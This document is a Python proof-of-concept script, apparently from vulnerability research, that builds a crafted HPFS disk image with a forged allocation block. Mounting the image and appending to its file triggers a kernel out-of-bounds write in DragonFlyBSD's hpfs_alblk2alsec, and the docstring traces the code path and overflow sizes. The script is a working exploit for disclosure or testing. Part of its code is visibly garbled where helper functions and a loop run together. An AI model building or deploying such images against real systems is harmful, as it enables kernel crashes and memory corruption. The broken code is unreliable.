#!/usr/bin/env python3 """ DF-0859 — Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB WRITE in hpfs_alblk2alsec() (and friends hpfs_splitalsec / hpfs_concatalsec) end-to-end on the DragonFlyBSD guest. These three helpers live on the HPFS WRITE/TRUNCATE path: hpfs_write -> hpfs_extend -> hpfs_addextent -> hpfs_alblk2alsec [sys/vfs/hpfs/hpfs_alsubr.c:314] -> hpfs_splitalsec [sys/vfs/hpfs/hpfs_alsubr.c:229] open(O_TRUNC)/truncate -> hpfs_truncate -> hpfs_truncatealblk -> hpfs_concatalsec [sys/vfs/hpfs/hpfs_alsubr.c:278] The image is the same minimal layout used by DF-0857's crafter (which targets the READ path); the only difference is the trigger — here we MOUNT READ-WRITE and WRITE past end-of-file, which routes through hpfs_addextent. Because the file fnode's forged fn_ab has: ab_busycnt = 255 (untrusted on-disk byte, never validated) ab_freecnt = 0 (so the `if (rabp->ab_freecnt <= 0)` test at hpfs_alsubr.c:468 fires on the very first hpfs_addextent call) ab_flag = 0 (leaf — sizeof(alleaf_t) = 12) fn_size = 0x10000 (so al.al_off = fn_size >> 9 = 0x80 > 0, skipping the init block at hpfs_alsubr.c:349 that would clobber the forged alblk) … the first call to hpfs_addextent falls straight into: rabp->ab_flag |= AB_FNPARENT; error = hpfs_alblk2alsec (hpmp, rabp, &nrasp, &nbp); [hpfs_alsubr.c:479] … whose body executes: sz = sizeof(alleaf_t); [=12] bcopy(abp, nabp, sizeof(alblk_t) + sz*abp->ab_busycnt); [line 314] = bcopy(fn_ab, new_alsec.as_ab, 8 + 12*255) = bcopy(..., ..., 3068) Source: fnode fn_ab at offset 0x3C in struct hpfsnode; data area fn_abd is 96 bytes; reading 3068B reads 2964B past fn_abd into the rest of hpfsnode + neighbouring slab. Destination: new alsec backing buffer is exactly DEV_BSIZE=512 bytes (allocated via getblk in hpfs_allocalsec, hpfs_alsubr.c:178). Writing 3068B at offset 12 (as_ab) overruns the 512B buffer by 3080-512 = 2568 bytes into neighbouring slab. On the default GENERIC kernel (INVARIANTS ON) the OOB write corrupts the slab allocator's metadata and panics. Image layout (sector size = 512B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849) 0x20 root fnode (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40}) 0x30 bitmap dir (one u32 = 0x38, the bitmap sector) 0x38 bitmap (4KB = 8 sectors; mark used sectors) 0x40 dirblk (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE" -> fnode LSN=0x48) 0x48 file fnode (VREG; FORGED fn_ab: busycnt=255, freecnt=0, leaf; alleaf[0]={0,4,0x50}; fn_size=0x10000) 0x50 file data (4 sectors = 2KB of 'A') 0x60..0x7F free space (so hpm_bavail >= 0x10 passes the hpfs_extend guard) Mount (root): mount_hpfs /dev/vnX /mnt Trigger (unpriv): echo AAAA >> /mnt/FILE -> VOP_WRITE -> hpfs_write -> hpfs_extend -> hpfs_addextent -> freecnt<=0 -> hpfs_alblk2alsec -> bcopy(..., 3068) -> OOB WRITE -> panic (INVARIANTS) / heap corruption """ import struct, sys SECTOR = 512 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE FN_OFF_MAGIC = 0x00 FN_OFF_HIST = 0x08 FN_OFF_NAMELEN = 0x10 FN_OFF_NAME = 0x11 FN_OFF_PARENT = 0x20 FN_OFF_FLAG = 0x3B FN_OFF_AB = 0x3C FN_OFF_ABD = 0x44 FN_OFF_SIZE = 0xA4 AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 def build_image(outpath, forged_busycnt=255, forged_freecnt=0): size = 0x80 * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('> 3)] &= ~(1 << (i & 7)) for i in range(0x60, 0x80): img[bm + (i >> 3)] |= (1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr32(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0) wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 0x50) wr32(db + 8, 0) wr32(db + 12, 0x20) wr32(db + 16, 0x40) name = b'FILE' de1_hdr = 0x2f de1_reclen = (de1_hdr + len(name) + 3) & ~3 dep = db + 20 wr16(dep + 0x00, de1_reclen) wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0) wr32(dep + 0x10, 0x1000) wr64(dep + 0x18, 0) wr64(dep + 0x20, 0) wr32(dep + 0x28, 0) img[dep + 0x2c] = 0 img[dep + 0x2d] = 0 img[dep + 0x2e] = len(name) for i in range(len(name)): img[dep + 0x2f + i] = name[i] dep2 = dep + de1_reclen end_reclen = 4 * SECTOR - (dep2 - db) wr16(dep2 + 0x00, end_reclen) wr16(dep2 + 0x02, 0x08) wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8 (ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME + 0] = ord('F') img[ff + FN_OFF_NAME + 1] = ord('I') img[ff + FN_OFF_NAME + 2] = ord('L') img[ff + FN_OFF_NAME + 3] = ord('E') wr32(ff + FN_OFF_FLAG, 0) # FORGED alblk — leaf, busycnt=255, freecnt=0 -> triggers # hpfs_alblk2alsec on first hpfs_addextent. img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = forged_freecnt img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0]: one valid extent at LSN 0x50, len 4 sectors (2 KB) wr32(ff + FN_OFF_ABD + 0, 0) wr32(ff + FN_OFF_ABD + 4, 4) wr32(ff + FN_OFF_ABD + 8, 0x50) # poison subsequent alleaf entries for k in range(1, 8): off = ff + FN_OFF_ABD + k*12 if off + 12 <= ff + FN_OFF_ABD + 0x60: wr32(off + 0, 0xDEADBEEF) wr32(off + 4, 0xCAFEBABE) wr32(off + 8, 0xFEEDFACE) # fn_size non-zero so al.al_off > 0 and the init block at :349 is skipped wr32(ff + FN_OFF_SIZE, 0x10000) fd = 0x50 * SECTOR img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR) with open(outpath, 'wb') as f: f.write(img) print(f"wrote {outpath}: {len(img)} bytes; " f"forged busycnt={forged_busycnt} freecnt={forged_freecnt}") if __name__ == '__main__': n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255 build_image(sys.argv[1] if len(sys.argv) > 1 else 'df859.img', forged_busycnt=n)